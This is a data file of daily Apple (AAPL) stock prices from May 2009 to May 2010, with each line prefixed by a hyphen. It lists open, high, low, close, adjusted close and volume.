-2009-05-15,17.474285125732422,17.8028564453125,17.37285804748535,17.488571166992188,15.21682357788086,91891800.0,AAPL
-2009-05-18,17.67571449279785,18.100000381469727,17.367143630981445,18.092857360839844,15.742613792419434,114710400.0,AAPL
-2009-05-19,18.117143630981445,18.472856521606445,17.96285629272461,18.207143783569336,15.842053413391113,93105600.0,AAPL
-2009-05-20,18.23285675048828,18.45857048034668,17.899999618530273,17.981428146362305,15.645660400390625,97146000.0,AAPL
-2009-05-21,17.878570556640625,18.11142921447754,17.555713653564453,17.739999771118164,15.435585975646973,101986500.0,AAPL
-2009-05-22,17.72142791748047,17.739999771118164,17.39285659790039,17.5,15.22676944732666,74499600.0,AAPL
-2009-05-26,17.822856903076172,18.690000534057617,17.792856216430664,18.682857513427734,16.255971908569336,159231800.0,AAPL
-2009-05-27,18.825714111328125,19.28285789489746,18.70142936706543,19.007143020629883,16.538131713867188,161605500.0,AAPL
-2009-05-28,19.064285278320312,19.341428756713867,18.86142921447754,19.295713424682617,16.78921890258789,121888200.0,AAPL
-2009-05-29,19.341428756713867,19.41428565979004,19.121429443359375,19.40142822265625,16.881202697753906,114133600.0,AAPL
-2009-06-01,19.49571418762207,19.998571395874023,19.428571701049805,19.907142639160156,17.321231842041016,113124900.0,AAPL
-2009-06-02,19.855714797973633,20.191429138183594,19.764286041259766,19.927143096923828,17.338623046875,114055900.0,AAPL
-2009-06-03,20.0,20.158571243286133,19.867143630981445,20.135713577270508,17.52010154724121,141299900.0,AAPL
-2009-06-04,20.018571853637695,20.597143173217773,20.005714416503906,20.534286499023438,17.866899490356445,137658500.0,AAPL
-2009-06-05,20.75857162475586,20.91428565979004,20.45857048034668,20.667142868041992,17.982501983642578,158179000.0,AAPL
-2009-06-08,20.545713424682617,20.604286193847656,19.91857147216797,20.549999237060547,17.88057518005371,232913100.0,AAPL
-2009-06-09,20.54428482055664,20.65142822265625,20.078571319580078,20.38857078552246,17.740116119384766,169241100.0,AAPL
-2009-06-10,20.325714111328125,20.33571434020996,19.757143020629883,20.035715103149414,17.433088302612305,172155900.0,AAPL
-2009-06-11,19.935714721679688,20.222856521606445,19.792856216430664,19.992856979370117,17.395803451538086,131205900.0,AAPL
-2009-06-12,19.829999923706055,19.871429443359375,19.43428611755371,19.567142486572266,17.025386810302734,140771400.0,AAPL
-2009-06-15,19.43000030517578,19.56142807006836,19.270000457763672,19.441429138183594,16.916011810302734,134937600.0,AAPL
-2009-06-16,19.522857666015625,19.781429290771484,19.44285774230957,19.47857093811035,16.948322296142578,128701300.0,AAPL
-2009-06-17,19.5242862701416,19.635713577270508,19.218570709228516,19.368572235107422,16.852611541748047,142853200.0,AAPL
-2009-06-18,19.444286346435547,19.714284896850586,19.3700008392334,19.411428451538086,16.88990020751953,106920100.0,AAPL
-2009-06-19,19.724285125732422,19.928571701049805,19.55714225769043,19.92571449279785,17.337379455566406,180464200.0,AAPL
-2009-06-22,20.095714569091797,20.222856521606445,19.4757137298584,19.624286651611328,17.075111389160156,158728500.0,AAPL
-2009-06-23,19.485713958740234,19.564285278320312,18.98285675048828,19.144285202026367,16.657459259033203,176633100.0,AAPL
-2009-06-24,19.345714569091797,19.64285659790039,19.265714645385742,19.459999084472656,16.932167053222656,121381400.0,AAPL
-2009-06-25,19.39285659790039,20.02857208251953,19.31571388244629,19.979999542236328,17.384618759155273,147361900.0,AAPL
-2009-06-26,19.969999313354492,20.50857162475586,19.96285629272461,20.34857177734375,17.70530891418457,109846100.0,AAPL
-2009-06-29,20.494285583496094,20.564285278320312,20.219999313354492,20.281429290771484,17.646888732910156,141904000.0,AAPL
-2009-06-30,20.368572235107422,20.542856216430664,20.257143020629883,20.347143173217773,17.70406723022461,108556000.0,AAPL
-2009-07-01,20.5,20.665714263916016,20.360000610351562,20.404285430908203,17.753786087036133,103544700.0,AAPL
-2009-07-02,20.178571701049805,20.404285430908203,19.969999313354492,20.002857208251953,17.40450668334961,92619800.0,AAPL
-2009-07-06,19.814285278320312,19.855714797973633,19.464284896850586,19.801427841186523,17.22924041748047,124672100.0,AAPL
-2009-07-07,19.78285789489746,19.954286575317383,19.31142807006836,19.342857360839844,16.83024024963379,115399200.0,AAPL
-2009-07-08,19.417142868041992,19.719999313354492,19.202857971191406,19.60285758972168,17.05646514892578,143982300.0,AAPL
-2009-07-09,19.68000030517578,19.71285629272461,19.41857147216797,19.479999542236328,16.949565887451172,85756300.0,AAPL
-2009-07-10,19.477142333984375,19.85285758972168,19.474285125732422,19.788572311401367,17.218055725097656,111318900.0,AAPL
-2009-07-13,19.93428611755371,20.334285736083984,19.64714241027832,20.334285736083984,17.6928768157959,120875300.0,AAPL
-2009-07-14,20.290000915527344,20.454286575317383,20.165714263916016,20.32428550720215,17.684185028076172,86811900.0,AAPL
-2009-07-15,20.719999313354492,21.0,20.617143630981445,20.98285675048828,18.257205963134766,121396800.0,AAPL
-2009-07-16,20.822856903076172,21.145713806152344,20.795713424682617,21.07428550720215,18.336761474609375,98392700.0,AAPL
-2009-07-17,21.297142028808594,21.71714210510254,21.23285675048828,21.678571701049805,18.8625431060791,150538500.0,AAPL
-2009-07-20,21.895713806152344,22.148571014404297,21.555713653564453,21.84428596496582,19.006736755371094,183881600.0,AAPL
-2009-07-21,21.898571014404297,21.91857147216797,21.39285659790039,21.644285202026367,18.832714080810547,218695400.0,AAPL
-2009-07-22,22.54142951965332,22.67571449279785,22.301427841186523,22.391427993774414,19.482805252075195,218526000.0,AAPL
-2009-07-23,22.375713348388672,22.63428497314453,22.222856521606445,22.545713424682617,19.617048263549805,131740700.0,AAPL
-2009-07-24,22.421428680419922,22.85714340209961,22.35714340209961,22.855714797973633,19.886783599853516,109590600.0,AAPL
-2009-07-27,22.881427764892578,22.98285675048828,22.465713500976562,22.871429443359375,19.90045166015625,108327800.0,AAPL
-2009-07-28,22.6971435546875,22.871429443359375,22.514286041259766,22.85714340209961,19.88802719116211,90888700.0,AAPL
-2009-07-29,22.700000762939453,22.921428680419922,22.60714340209961,22.86142921447754,19.891754150390625,95539500.0,AAPL
-2009-07-30,23.100000381469727,23.531429290771484,23.071428298950195,23.255714416503906,20.23482322692871,117401200.0,AAPL
-2009-07-31,23.284286499023438,23.571428298950195,23.272857666015625,23.341428756713867,20.30940055847168,105634200.0,AAPL
-2009-08-03,23.601428985595703,23.805713653564453,23.5528564453125,23.775714874267578,20.687271118164062,98560000.0,AAPL
-2009-08-04,23.56142807006836,23.652856826782227,23.45857048034668,23.649999618530273,20.57788848876953,98952700.0,AAPL
-2009-08-05,23.678571701049805,23.912857055664062,23.45857048034668,23.587142944335938,20.523195266723633,105795900.0,AAPL
-2009-08-06,23.654285430908203,23.78714370727539,23.29857063293457,23.415714263916016,20.374034881591797,85404200.0,AAPL
-2009-08-07,23.641427993774414,23.799999237060547,23.542856216430664,23.644285202026367,20.572912216186523,96838700.0,AAPL
-2009-08-10,23.665714263916016,23.799999237060547,23.3799991607666,23.531429290771484,20.474720001220703,75073600.0,AAPL
-2009-08-11,23.38428497314453,23.48285675048828,23.125713348388672,23.261428833007812,20.23978614807129,88835600.0,AAPL
-2009-08-12,23.22142791748047,23.81571388244629,23.20857048034668,23.61571502685547,20.54805564880371,111267800.0,AAPL
-2009-08-13,23.80714225769043,24.095714569091797,23.785715103149414,24.059999465942383,20.93462562561035,109995200.0,AAPL
-2009-08-14,23.99142837524414,24.03285789489746,23.64714241027832,23.825714111328125,20.730775833129883,76454000.0,AAPL
-2009-08-17,23.364286422729492,23.3700008392334,22.7742862701416,22.79857063293457,19.83705711364746,131095300.0,AAPL
-2009-08-18,23.09000015258789,23.46285629272461,23.058570861816406,23.428571701049805,20.38521957397461,107788100.0,AAPL
-2009-08-19,23.25,23.614286422729492,23.207143783569336,23.514286041259766,20.45979881286621,103317900.0,AAPL
-2009-08-20,23.568571090698242,23.817142486572266,23.515714645385742,23.761428833007812,20.67484474182129,85507800.0,AAPL
-2009-08-21,23.950000762939453,24.195714950561523,23.828571319580078,24.174285888671875,21.034067153930664,104018600.0,AAPL
-2009-08-24,24.3028564453125,24.387142181396484,24.038572311401367,24.15142822265625,21.01418113708496,101732400.0,AAPL
-2009-08-25,24.20857048034668,24.420000076293945,24.161428451538086,24.200000762939453,21.056442260742188,81088700.0,AAPL
-2009-08-26,24.131427764892578,24.22142791748047,23.822856903076172,23.915714263916016,20.8090877532959,75999700.0,AAPL
-2009-08-27,24.10714340209961,24.224285125732422,23.547142028808594,24.207143783569336,21.062658309936523,112295400.0,AAPL
-2009-08-28,24.610000610351562,24.641427993774414,24.075714111328125,24.292856216430664,21.137235641479492,113425200.0,AAPL
-2009-08-31,24.022857666015625,24.121429443359375,23.785715103149414,24.030000686645508,20.908531188964844,77834400.0,AAPL
-2009-09-01,23.998571395874023,24.285715103149414,23.562856674194336,23.614286422729492,20.54680824279785,117257000.0,AAPL
-2009-09-02,23.51714324951172,23.944286346435547,23.444286346435547,23.597143173217773,20.53190040588379,91062300.0,AAPL
-2009-09-03,23.777143478393555,23.871429443359375,23.571428298950195,23.792856216430664,20.702184677124023,73488800.0,AAPL
-2009-09-04,23.89714241027832,24.385713577270508,23.8700008392334,24.329999923706055,21.169553756713867,93657200.0,AAPL
-2009-09-08,24.711427688598633,24.734285354614258,24.571428298950195,24.704286575317383,21.49522590637207,78761900.0,AAPL
-2009-09-09,24.682857513427734,24.924285888671875,24.242856979370117,24.448572158813477,21.272727966308594,202771800.0,AAPL
-2009-09-10,24.579999923706055,24.75,24.40142822265625,24.65142822265625,21.449228286743164,122783500.0,AAPL
-2009-09-11,24.70142936706543,24.739999771118164,24.40999984741211,24.59428596496582,21.39951515197754,87240300.0,AAPL
-2009-09-14,24.404285430908203,24.842857360839844,24.321428298950195,24.817142486572266,21.593416213989258,80502800.0,AAPL
-2009-09-15,24.862857818603516,25.092857360839844,24.79857063293457,25.022857666015625,21.772411346435547,106617700.0,AAPL
-2009-09-16,25.427143096923828,26.10714340209961,25.411428451538086,25.981428146362305,22.60647201538086,188505800.0,AAPL
-2009-09-17,25.997142791748047,26.68428611755371,25.99571418762207,26.364286422729492,22.939594268798828,202643000.0,AAPL
-2009-09-18,26.547142028808594,26.649999618530273,26.394285202026367,26.431428909301758,22.99801254272461,150395700.0,AAPL
-2009-09-21,26.3271427154541,26.45142936706543,25.945714950561523,26.288572311401367,22.873714447021484,109428900.0,AAPL
-2009-09-22,26.45571517944336,26.48285675048828,26.121429443359375,26.354286193847656,22.930889129638672,89188400.0,AAPL
-2009-09-23,26.485713958740234,26.985713958740234,26.432857513427734,26.5,23.05767250061035,148390900.0,AAPL
-2009-09-24,26.742856979370117,26.814285278320312,26.110000610351562,26.260000228881836,22.84885025024414,137720100.0,AAPL
-2009-09-25,26.001428604125977,26.5,25.920000076293945,26.0528564453125,22.668615341186523,111309800.0,AAPL
-2009-09-28,26.26714324951172,26.66857147216797,26.190000534057617,26.592857360839844,23.13846778869629,84361200.0,AAPL
-2009-09-29,26.67571449279785,26.77142906188965,26.329999923706055,26.48285675048828,23.04275894165039,86346400.0,AAPL
-2009-09-30,26.59000015258789,26.635713577270508,26.087142944335938,26.47857093811035,23.039031982421875,134896300.0,AAPL
-2009-10-01,26.47857093811035,26.60285758972168,25.814285278320312,25.837142944335938,22.480918884277344,131177900.0,AAPL
-2009-10-02,25.915714263916016,26.562856674194336,25.907142639160156,26.41428565979004,22.983089447021484,138327000.0,AAPL
-2009-10-05,26.600000381469727,26.694286346435547,26.32428550720215,26.57428550720215,23.122312545776367,105783300.0,AAPL
-2009-10-06,26.81999969482422,27.144285202026367,26.757143020629883,27.144285202026367,23.618268966674805,151271400.0,AAPL
-2009-10-07,27.108572006225586,27.22142791748047,27.00428581237793,27.178571701049805,23.64809799194336,116417000.0,AAPL
-2009-10-08,27.23714256286621,27.350000381469727,26.984285354614258,27.038572311401367,23.526287078857422,109552800.0,AAPL
-2009-10-09,26.99571418762207,27.242856979370117,26.945714950561523,27.209999084472656,23.675447463989258,73318000.0,AAPL
-2009-10-12,27.288572311401367,27.358572006225586,27.091428756713867,27.25857162475586,23.717708587646484,72006200.0,AAPL
-2009-10-13,27.23285675048828,27.309999465942383,27.100000381469727,27.145713806152344,23.619508743286133,87005100.0,AAPL
-2009-10-14,27.464284896850586,27.474285125732422,27.17571449279785,27.3271427154541,23.777372360229492,93877700.0,AAPL
-2009-10-15,27.09000015258789,27.2742862701416,27.075714111328125,27.222856521606445,23.686635971069336,93389100.0,AAPL
-2009-10-16,27.049999237060547,27.194286346435547,26.834285736083984,26.864286422729492,23.374643325805664,107856700.0,AAPL
-2009-10-19,26.83571434020996,27.14285659790039,26.507143020629883,27.12285804748535,23.59962272644043,235557700.0,AAPL
-2009-10-20,28.657142639160156,28.821428298950195,28.264286041259766,28.394285202026367,24.70589256286621,285259800.0,AAPL
-2009-10-21,28.502857208251953,29.81571388244629,28.461427688598633,29.2742862701416,25.471580505371094,298431700.0,AAPL
-2009-10-22,29.242856979370117,29.69285774230957,28.93000030517578,29.314285278320312,25.50638771057129,197848000.0,AAPL
-2009-10-23,29.385713577270508,29.399999618530273,29.03285789489746,29.13428497314453,25.349769592285156,105196700.0,AAPL
-2009-10-26,29.095714569091797,29.535715103149414,28.58571434020996,28.92571449279785,25.16829490661621,121084600.0,AAPL
-2009-10-27,28.808570861816406,28.972856521606445,28.064285278320312,28.195714950561523,24.533119201660156,189137900.0,AAPL
-2009-10-28,28.244285583496094,28.288572311401367,27.299999237060547,27.485713958740234,23.91534423828125,204596700.0,AAPL
-2009-10-29,27.85714340209961,28.11571502685547,27.448572158813477,28.049999237060547,24.406330108642578,142567600.0,AAPL
-2009-10-30,28.00857162475586,28.114286422729492,26.881427764892578,26.928571701049805,23.430578231811523,179381300.0,AAPL
-2009-11-02,27.114286422729492,27.554285049438477,26.510000228881836,27.04428482055664,23.53126335144043,169745800.0,AAPL
-2009-11-03,26.83571434020996,27.07428550720215,26.559999465942383,26.964284896850586,23.461652755737305,130635400.0,AAPL
-2009-11-04,27.247142791748047,27.69285774230957,27.17571449279785,27.25857162475586,23.717708587646484,121882600.0,AAPL
-2009-11-05,27.485713958740234,27.85714340209961,27.402856826782227,27.718570709228516,24.117956161499023,96200300.0,AAPL
-2009-11-06,27.501428604125977,27.88428497314453,27.485713958740234,27.76285743713379,24.156482696533203,73774400.0,AAPL
-2009-11-09,28.13428497314453,28.842857360839844,28.03714370727539,28.780000686645508,25.041505813598633,132213900.0,AAPL
-2009-11-10,28.71714210510254,29.28285789489746,28.715713500976562,28.997142791748047,25.230438232421875,100298800.0,AAPL
-2009-11-11,29.222856521606445,29.285715103149414,28.832857131958008,29.035715103149414,25.264001846313477,110967500.0,AAPL
-2009-11-12,29.020000457763672,29.26714324951172,28.775714874267578,28.855714797973633,25.107385635375977,90932800.0,AAPL
-2009-11-13,28.981428146362305,29.261428833007812,28.867143630981445,29.207143783569336,25.413156509399414,85810200.0,AAPL
-2009-11-16,29.354286193847656,29.714284896850586,29.28714370727539,29.518571853637695,25.684139251708984,121301600.0,AAPL
-2009-11-17,29.440000534057617,29.63428497314453,29.285715103149414,29.571428298950195,25.730127334594727,99128400.0,AAPL
-2009-11-18,29.505714416503906,29.571428298950195,29.14285659790039,29.4228572845459,25.600854873657227,93580200.0,AAPL
-2009-11-19,29.229999542236328,29.229999542236328,28.542856216430664,28.644285202026367,24.923416137695312,135581600.0,AAPL
-2009-11-20,28.450000762939453,28.62714195251465,28.251428604125977,28.559999465942383,24.85008430480957,101666600.0,AAPL
-2009-11-23,29.0,29.428571701049805,28.992856979370117,29.411428451538086,25.590911865234375,118724200.0,AAPL
-2009-11-24,29.332857131958008,29.411428451538086,28.985713958740234,29.20571517944336,25.41191864013672,79609600.0,AAPL
-2009-11-25,29.342857360839844,29.378570556640625,29.108572006225586,29.170000076293945,25.380844116210938,71613500.0,AAPL
-2009-11-27,28.459999084472656,28.994285583496094,28.338571548461914,28.65571403503418,24.933364868164062,73814300.0,AAPL
-2009-11-30,28.729999542236328,28.81142807006836,28.395713806152344,28.558570861816406,24.848840713500977,106214500.0,AAPL
-2009-12-01,28.891427993774414,28.96714210510254,28.118572235107422,28.13857078552246,24.483394622802734,116440800.0,AAPL
-2009-12-02,28.4228572845459,28.7742862701416,27.964284896850586,28.03285789489746,24.39141845703125,178815000.0,AAPL
-2009-12-03,28.202857971191406,28.42571449279785,28.038572311401367,28.068571090698242,24.42249298095703,112179900.0,AAPL
-2009-12-04,28.52857208251953,28.554285049438477,27.182857513427734,27.617143630981445,24.029699325561523,206721200.0,AAPL
-2009-12-07,27.617143630981445,27.681428909301758,26.954286575317383,26.992856979370117,23.486513137817383,178689700.0,AAPL
-2009-12-08,27.051427841186523,27.47857093811035,26.957143783569336,27.124286651611328,23.600866317749023,172599700.0,AAPL
-2009-12-09,27.325714111328125,28.308570861816406,27.187143325805664,28.257143020629883,24.58656883239746,171195500.0,AAPL
-2009-12-10,28.5,28.52857208251953,28.01714324951172,28.06142807006836,24.41627311706543,122417400.0,AAPL
-2009-12-11,28.25428581237793,28.285715103149414,27.632856369018555,27.809999465942383,24.197509765625,107443700.0,AAPL
-2009-12-14,27.90999984741211,28.204286575317383,27.50857162475586,28.139999389648438,24.484638214111328,123947600.0,AAPL
-2009-12-15,27.9757137298584,28.215713500976562,27.610000610351562,27.738571166992188,24.13536262512207,104864900.0,AAPL
-2009-12-16,27.871429443359375,28.071428298950195,27.792856216430664,27.86142921447754,24.24225425720215,88246200.0,AAPL
-2009-12-17,27.751428604125977,27.85714340209961,27.285715103149414,27.408571243286133,23.84822654724121,97209700.0,AAPL
-2009-12-18,27.595714569091797,27.928571701049805,27.514286041259766,27.91857147216797,24.29197883605957,152192600.0,AAPL
-2009-12-21,28.007143020629883,28.535715103149414,27.952857971191406,28.318571090698242,24.6400146484375,152976600.0,AAPL
-2009-12-22,28.49142837524414,28.69285774230957,28.3799991607666,28.62285804748535,24.904773712158203,87378900.0,AAPL
-2009-12-23,28.742856979370117,28.911428451538086,28.687143325805664,28.871429443359375,25.121055603027344,86381400.0,AAPL
-2009-12-24,29.078571319580078,29.907142639160156,29.049999237060547,29.862857818603516,25.983705520629883,125222300.0,AAPL
-2009-12-28,30.24571418762207,30.564285278320312,29.944286346435547,30.229999542236328,26.303152084350586,161141400.0,AAPL
-2009-12-29,30.375713348388672,30.38857078552246,29.818571090698242,29.871429443359375,25.99115753173828,111301400.0,AAPL
-2009-12-30,29.832857131958008,30.285715103149414,29.75857162475586,30.234285354614258,26.30687713623047,103021100.0,AAPL
-2009-12-31,30.4471435546875,30.47857093811035,30.079999923706055,30.104286193847656,26.193771362304688,88102700.0,AAPL
-2010-01-04,30.489999771118164,30.64285659790039,30.34000015258789,30.572856903076172,26.601469039916992,123432400.0,AAPL
-2010-01-05,30.657142639160156,30.79857063293457,30.464284896850586,30.625713348388672,26.647457122802734,150476200.0,AAPL
-2010-01-06,30.625713348388672,30.747142791748047,30.10714340209961,30.13857078552246,26.223596572875977,138040000.0,AAPL
-2010-01-07,30.25,30.285715103149414,29.864286422729492,30.082857131958008,26.175119400024414,119282800.0,AAPL
-2010-01-08,30.042856216430664,30.285715103149414,29.86571502685547,30.28285789489746,26.349140167236328,111902700.0,AAPL
-2010-01-11,30.399999618530273,30.428571701049805,29.77857208251953,30.015714645385742,26.116703033447266,115557400.0,AAPL
-2010-01-12,29.88428497314453,29.96714210510254,29.488571166992188,29.674285888671875,25.819623947143555,148614900.0,AAPL
-2010-01-13,29.695714950561523,30.132856369018555,29.157142639160156,30.092857360839844,26.183822631835938,151473000.0,AAPL
-2010-01-14,30.015714645385742,30.06571388244629,29.860000610351562,29.91857147216797,26.03217887878418,108223500.0,AAPL
-2010-01-15,30.132856369018555,30.22857093811035,29.40999984741211,29.41857147216797,25.597126007080078,148516900.0,AAPL
-2010-01-19,29.761428833007812,30.74142837524414,29.605714797973633,30.719999313354492,26.7294979095459,182501900.0,AAPL
-2010-01-20,30.70142936706543,30.792856216430664,29.928571701049805,30.247142791748047,26.318065643310547,153038200.0,AAPL
-2010-01-21,30.297142028808594,30.472856521606445,29.601428985595703,29.724285125732422,25.86312484741211,152038600.0,AAPL
-2010-01-22,29.540000915527344,29.64285659790039,28.165714263916016,28.25,24.58034896850586,220441900.0,AAPL
-2010-01-25,28.93000030517578,29.242856979370117,28.59857177734375,29.010000228881836,25.241626739501953,266424900.0,AAPL
-2010-01-26,29.421428680419922,30.530000686645508,28.940000534057617,29.420000076293945,25.598369598388672,466777500.0,AAPL
-2010-01-27,29.549999237060547,30.082857131958008,28.50428581237793,29.6971435546875,25.839513778686523,430642100.0,AAPL
-2010-01-28,29.275714874267578,29.35714340209961,28.385713577270508,28.469999313354492,24.771774291992188,293375600.0,AAPL
-2010-01-29,28.7257137298584,28.885713577270508,27.178571701049805,27.437143325805664,23.873083114624023,311488100.0,AAPL
-2010-02-01,27.481428146362305,28.0,27.328571319580078,27.818571090698242,24.2049617767334,187469100.0,AAPL
-2010-02-02,27.98714256286621,28.045713424682617,27.625713348388672,27.979999542236328,24.345422744750977,174585600.0,AAPL
-2010-02-03,27.881427764892578,28.600000381469727,27.7742862701416,28.461427688598633,24.76431655883789,153832000.0,AAPL
-2010-02-04,28.104286193847656,28.338571548461914,27.367143630981445,27.435714721679688,23.871843338012695,189413000.0,AAPL
-2010-02-05,27.518571853637695,28.0,27.264286041259766,27.9228572845459,24.295703887939453,212576700.0,AAPL
-2010-02-08,27.95571517944336,28.268571853637695,27.714284896850586,27.731428146362305,24.129140853881836,119567700.0,AAPL
-2010-02-09,28.059999465942383,28.214284896850586,27.821428298950195,28.027143478393555,24.386444091796875,158221700.0,AAPL
-2010-02-10,27.984285354614258,28.08571434020996,27.751428604125977,27.874286651611328,24.253442764282227,92590400.0,AAPL
-2010-02-11,27.84000015258789,28.535715103149414,27.722856521606445,28.381427764892578,24.6947078704834,137586400.0,AAPL
-2010-02-12,28.301427841186523,28.805713653564453,27.928571701049805,28.625713348388672,24.90726661682129,163867200.0,AAPL
-2010-02-16,28.84857177734375,29.09857177734375,28.788572311401367,29.05714225769043,25.282644271850586,135934400.0,AAPL
-2010-02-17,29.170000076293945,29.187143325805664,28.694286346435547,28.935714721679688,25.176990509033203,109099200.0,AAPL
-2010-02-18,28.804285049438477,29.12714195251465,28.702857971191406,28.989999771118164,25.224225997924805,105706300.0,AAPL
-2010-02-19,28.837142944335938,29.02857208251953,28.729999542236328,28.809999465942383,25.067609786987305,103867400.0,AAPL
-2010-02-22,28.90571403503418,28.928571701049805,28.45571517944336,28.631427764892578,24.912235260009766,97640900.0,AAPL
-2010-02-23,28.571428298950195,28.761428833007812,27.95857048034668,28.15142822265625,24.494585037231445,143773700.0,AAPL
-2010-02-24,28.318571090698242,28.777143478393555,28.26285743713379,28.665714263916016,24.942062377929688,115141600.0,AAPL
-2010-02-25,28.1971435546875,28.979999542236328,28.12714195251465,28.85714340209961,25.108627319335938,166281500.0,AAPL
-2010-02-26,28.911428451538086,29.309999465942383,28.85714340209961,29.231428146362305,25.434293746948242,126865200.0,AAPL
-2010-03-01,29.39285659790039,29.928571701049805,29.350000381469727,29.855714797973633,25.977487564086914,137523400.0,AAPL
-2010-03-02,29.989999771118164,30.118572235107422,29.677143096923828,29.83571434020996,25.960084915161133,141636600.0,AAPL
-2010-03-03,29.84857177734375,29.981428146362305,29.70571517944336,29.904285430908203,26.019742965698242,93013200.0,AAPL
-2010-03-04,29.89714241027832,30.131427764892578,29.804285049438477,30.101428985595703,26.191282272338867,91510300.0,AAPL
-2010-03-05,30.70571517944336,31.385713577270508,30.661428451538086,31.27857208251953,27.215511322021484,224905100.0,AAPL
-2010-03-08,31.43000030517578,31.441429138183594,31.178571701049805,31.297142028808594,27.231672286987305,107472400.0,AAPL
-2010-03-09,31.187143325805664,32.14285659790039,31.12714195251465,31.860000610351562,27.721418380737305,230064800.0,AAPL
-2010-03-10,31.9757137298584,32.211429595947266,31.885713577270508,32.119998931884766,27.94764518737793,149054500.0,AAPL
-2010-03-11,31.98714256286621,32.21428680419922,31.902856826782227,32.21428680419922,28.02967643737793,101425100.0,AAPL
-2010-03-12,32.48143005371094,32.53285598754883,32.25,32.371429443359375,28.16641616821289,104080900.0,AAPL
-2010-03-15,32.1971435546875,32.21428680419922,31.464284896850586,31.977142333984375,27.823341369628906,123375700.0,AAPL
-2010-03-16,32.02571487426758,32.13999938964844,31.78714370727539,32.06428527832031,27.8991641998291,111727000.0,AAPL
-2010-03-17,32.128570556640625,32.349998474121094,31.895713806152344,32.01714324951172,27.858152389526367,112739200.0,AAPL
-2010-03-18,32.014286041259766,32.14285659790039,31.801427841186523,32.092857360839844,27.92402458190918,85527400.0,AAPL
-2010-03-19,32.112857818603516,32.17714309692383,31.604286193847656,31.75,27.625701904296875,139861400.0,AAPL
-2010-03-22,31.49571418762207,32.28571319580078,31.450000762939453,32.10714340209961,27.936452865600586,114104900.0,AAPL
-2010-03-23,32.23428726196289,32.682857513427734,32.014286041259766,32.62285614013672,28.38517951965332,150607800.0,AAPL
-2010-03-24,32.52000045776367,32.88571548461914,32.501426696777344,32.76714324951172,28.51072120666504,149445100.0,AAPL
-2010-03-25,32.98857116699219,32.9957160949707,32.32143020629883,32.378570556640625,28.172624588012695,135571100.0,AAPL
-2010-03-26,32.7071418762207,33.13571548461914,32.650001525878906,32.985713958740234,28.70090103149414,160218800.0,AAPL
-2010-03-29,33.28571319580078,33.40999984741211,33.08856964111328,33.198570251464844,28.886104583740234,135186100.0,AAPL
-2010-03-30,33.79999923706055,33.92571258544922,33.46428680419922,33.69285583496094,29.316186904907227,131827500.0,AAPL
-2010-03-31,33.64142990112305,33.801429748535156,33.494285583496094,33.57143020629883,29.21053123474121,107664900.0,AAPL
-2010-04-01,33.915714263916016,34.104286193847656,33.25,33.709999084472656,29.331104278564453,150786300.0,AAPL
-2010-04-05,33.568572998046875,34.07285690307617,33.538570404052734,34.06999969482422,29.64433479309082,171126900.0,AAPL
-2010-04-06,34.02857208251953,34.31999969482422,33.85714340209961,34.220001220703125,29.774850845336914,111754300.0,AAPL
-2010-04-07,34.22142791748047,34.560001373291016,34.09428405761719,34.371429443359375,29.9066104888916,157125500.0,AAPL
-2010-04-08,34.34857177734375,34.505714416503906,34.005714416503906,34.27857208251953,29.825817108154297,143247300.0,AAPL
-2010-04-09,34.4900016784668,34.55571365356445,34.3514289855957,34.54142761230469,30.05452537536621,83545700.0,AAPL
-2010-04-12,34.599998474121094,34.72428512573242,34.54428482055664,34.612857818603516,30.116676330566406,83256600.0,AAPL
-2010-04-13,34.551429748535156,34.68571472167969,34.44428634643555,34.63285827636719,30.13408088684082,76552700.0,AAPL
-2010-04-14,35.040000915527344,35.11571502685547,34.86714172363281,35.09857177734375,30.539297103881836,101019100.0,AAPL
-2010-04-15,35.111427307128906,35.575714111328125,35.07285690307617,35.560001373291016,30.94078826904297,94196200.0,AAPL
-2010-04-16,35.5099983215332,35.87714385986328,34.93571472167969,35.342857360839844,30.75185203552246,187636400.0,AAPL
-2010-04-19,35.290000915527344,35.41285705566406,34.538570404052734,35.29571533203125,30.71083641052246,141731100.0,AAPL
-2010-04-20,35.505714416503906,35.60714340209961,34.70857238769531,34.941429138183594,30.40256690979004,184581600.0,AAPL
-2010-04-21,36.97142791748047,37.17856979370117,36.53285598754883,37.031429290771484,32.221073150634766,245597800.0,AAPL
-2010-04-22,36.89142990112305,38.10714340209961,36.599998474121094,38.067142486572266,33.122249603271484,198356200.0,AAPL
-2010-04-23,38.28428649902344,38.88285827636719,38.14285659790039,38.689998626708984,33.66420364379883,199238900.0,AAPL
-2010-04-26,38.84000015258789,38.922855377197266,38.31285858154297,38.5,33.49889373779297,119767200.0,AAPL
-2010-04-27,38.181427001953125,38.262855529785156,37.21714401245117,37.43428421020508,32.571598052978516,177335900.0,AAPL
-2010-04-28,37.60714340209961,37.71428680419922,36.630001068115234,37.371429443359375,32.51691436767578,189600600.0,AAPL
-2010-04-29,37.57428741455078,38.57143020629883,37.43000030517578,38.37714385986328,33.39198684692383,139710200.0,AAPL
-2010-04-30,38.47285842895508,38.65285873413086,37.28571319580078,37.2985725402832,32.45352554321289,135615900.0,AAPL
-2010-05-03,37.691429138183594,38.26856994628906,37.55428695678711,38.04999923706055,33.10734176635742,113585500.0,AAPL
-2010-05-04,37.55571365356445,37.612857818603516,36.67856979370117,36.95428466796875,32.153953552246094,180954900.0,AAPL
-2010-05-05,36.14714431762695,36.87714385986328,35.53285598754883,36.56999969482422,31.819595336914062,220775800.0,AAPL
-2010-05-06,36.26142883300781,36.89285659790039,28.464284896850586,35.17856979370117,30.608903884887695,321465200.0,AAPL
-2010-05-07,34.81571578979492,35.22428512573242,32.172855377197266,33.69428634643555,29.31743049621582,419004600.0,AAPL
-2010-05-10,35.75,36.378570556640625,35.5042839050293,36.28428649902344,31.57098960876465,246076600.0,AAPL
-2010-05-11,35.977142333984375,37.12714385986328,35.78571319580078,36.645713806152344,31.885467529296875,212226700.0,AAPL
-2010-05-12,37.03428649902344,37.59000015258789,36.9571418762207,37.441429138183594,32.577823638916016,163594900.0,AAPL
-2010-05-13,37.60285568237305,37.85714340209961,36.628570556640625,36.908573150634766,32.11418151855469,149928100.0,AAPL
-2010-05-14,36.4514274597168,36.63999938964844,35.64285659790039,36.2599983215332,31.549863815307617,189840700.0,AAPL
-2010-05-17,36.38571548461914,36.59714126586914,35.387142181396484,36.317142486572266,31.599586486816406,190708700.0,AAPL
-2010-05-18,36.711429595947266,36.93571472167969,35.751426696777344,36.051429748535156,31.368371963500977,195669600.0,AAPL
-2010-05-19,35.64285659790039,36.13142776489258,34.978572845458984,35.477142333984375,30.868698120117188,256431700.0,AAPL
